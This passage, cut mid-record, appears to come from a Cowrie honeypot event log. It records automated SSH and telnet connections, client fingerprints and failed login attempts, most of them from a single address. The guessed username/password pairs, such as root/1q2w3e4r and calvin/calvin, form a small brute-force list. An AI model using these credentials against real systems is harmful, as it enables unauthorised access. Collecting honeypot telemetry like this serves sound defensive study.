rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:56:17.751068Z","src_ip":"91.92.42.227","session":"2a3a67633420","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"calvin","password":"calvin","message":"login attempt [calvin/calvin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:56:21.209044Z","src_ip":"91.92.42.227","session":"2a3a67633420","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":56564,"dst_ip":"10.17.0.5","dst_port":22,"session":"6e11cdd63303","protocol":"ssh","message":"New connection: 91.92.42.227:56564 (10.17.0.5:22) [session: 6e11cdd63303]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:56:23.155898Z"}
{"eventid":"cowrie.session.closed","duration":"6.5","message":"Connection lost after 6.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:56:23.448437Z","src_ip":"91.92.42.227","session":"2a3a67633420","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:56:24.117491Z","src_ip":"91.92.42.227","session":"6e11cdd63303","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:56:24.120380Z","src_ip":"91.92.42.227","session":"6e11cdd63303","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test@123","message":"login attempt [test/test@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:56:29.195835Z","src_ip":"91.92.42.227","session":"6e11cdd63303","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":33300,"dst_ip":"10.17.0.5","dst_port":22,"session":"d2e4f2ed9103","protocol":"ssh","message":"New connection: 91.92.42.227:33300 (10.17.0.5:22) [session: d2e4f2ed9103]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:56:29.597748Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:56:30.754731Z","src_ip":"91.92.42.227","session":"d2e4f2ed9103","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:56:30.757771Z","src_ip":"91.92.42.227","session":"d2e4f2ed9103","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.3","message":"Connection lost after 8.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:56:31.444119Z","src_ip":"91.92.42.227","session":"6e11cdd63303","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.209.169","src_port":36800,"dst_ip":"159.203.135.109","dst_port":23,"session":"c0948ac335d1","protocol":"telnet","message":"New connection: 128.199.209.169:36800 (159.203.135.109:23) [session: c0948ac335d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:56:33.963005Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":47706,"dst_ip":"10.17.0.5","dst_port":22,"session":"f4200937a2f2","protocol":"ssh","message":"New connection: 91.92.42.227:47706 (10.17.0.5:22) [session: f4200937a2f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:56:36.171539Z"}
{"eventid":"cowrie.login.failed","username":"master","password":"qwerty","message":"login attempt [master/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:56:36.383260Z","src_ip":"91.92.42.227","session":"d2e4f2ed9103","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:56:37.436198Z","src_ip":"91.92.42.227","session":"f4200937a2f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:56:37.440560Z","src_ip":"91.92.42.227","session":"f4200937a2f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":3.589082717895508,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:56:37.551991Z","src_ip":"128.199.209.169","session":"c0948ac335d1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"9.1","message":"Connection lost after 9.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:56:38.728864Z","src_ip":"91.92.42.227","session":"d2e4f2ed9103","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":47734,"dst_ip":"10.17.0.5","dst_port":22,"session":"6542aac12001","protocol":"ssh","message":"New connection: 91.92.42.227:47734 (10.17.0.5:22) [session: 6542aac12001]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:56:43.002806Z"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"123456","message":"login attempt [testuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:56:43.476432Z","src_ip":"91.92.42.227","session":"f4200937a2f2","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:56:44.394852Z","src_ip":"91.92.42.227","session":"6542aac12001","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:56:44.400454Z","src_ip":"91.92.42.227","session":"6542aac12001","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.4","message":"Connection lost after 9.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:56:45.622164Z","src_ip":"91.92.42.227","session":"f4200937a2f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc123456","message":"login attempt [root/Abc123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:56:48.104293Z","src_ip":"91.92.42.227","session":"6542aac12001","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.7","message":"Connection lost after 6.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:56:49.700367Z","src_ip":"91.92.42.227","session":"6542aac12001","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":32884,"dst_ip":"10.17.0.5","dst_port":22,"session":"fc8975d0a431","protocol":"ssh","message":"New connection: 91.92.42.227:32884 (10.17.0.5:22) [session: fc8975d0a431]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:56:51.983859Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:56:52.315406Z","src_ip":"91.92.42.227","session":"fc8975d0a431","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:56:52.317688Z","src_ip":"91.92.42.227","session":"fc8975d0a431","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e4r","message":"login attempt [root/1q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:56:53.716354Z","src_ip":"91.92.42.227","session":"fc8975d0a431","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:56:55.065817Z","src_ip":"91.92.42.227","session":"fc8975d0a431","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":39040,"dst_ip":"10.17.0.5","dst_port":22,"session":"c6f95f6960ab","protocol":"ssh","message":"New connection: 91.92.42.227:39040 (10.17.0.5:22) [session: c6f95f6960ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:56:58.806179Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:56:59.049639Z","src_ip":"91.92.42.227","session":"c6f95f6960ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:56:59.052126Z","src_ip":"91.92.42.227","session":"c6f95f6960ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webuser","password":"123456","message":"login attempt [webuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:57:00.694539Z","src_ip":"91.92.42.227","session":"c6f95f6960ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:57:02.200737Z","src_ip":"91.92.42.227","session":"c6f95f6960ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.248.120.6","src_port":50401,"dst_ip":"10.17.0.5","dst_port":22,"session":"2b4e72036301","protocol":"ssh","message":"New connection: 103.248.120.6:50401 (10.17.0.5:22) [session: 2b4e72036301]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:57:05.157351Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:57:05.162071Z","src_ip":"103.248.120.6","session":"2b4e72036301","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":40114,"dst_ip":"10.17.0.5","dst_port":22,"session":"5b3c0ca1f411","protocol":"ssh","message":"New connection: 91.92.42.227:40114 (10.17.0.5:22) [session: 5b3c0ca1f411]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:57:05.292850Z"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:57:05.389340Z","src_ip":"103.248.120.6","session":"2b4e72036301","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:57:05.787765Z","src_ip":"91.92.42.227","session":"5b3c0ca1f411","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:57:05.792961Z","src_ip":"91.92.42.227","session":"5b3c0ca1f411","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@007","message":"login attempt [root/Admin@007] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:57:06.312005Z","src_ip":"103.248.120.6","session":"2b4e72036301","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:57:07.536690Z","src_ip":"103.248.120.6","session":"2b4e72036301","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sam","password":"abc123","message":"login attempt [sam/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:57:07.987283Z","src_ip":"91.92.42.227","session":"5b3c0ca1f411","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.5","message":"Connection lost after 4.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:57:09.769544Z","src_ip":"91.92.42.227","session":"5b3c0ca1f411","protocol":"ssh"}
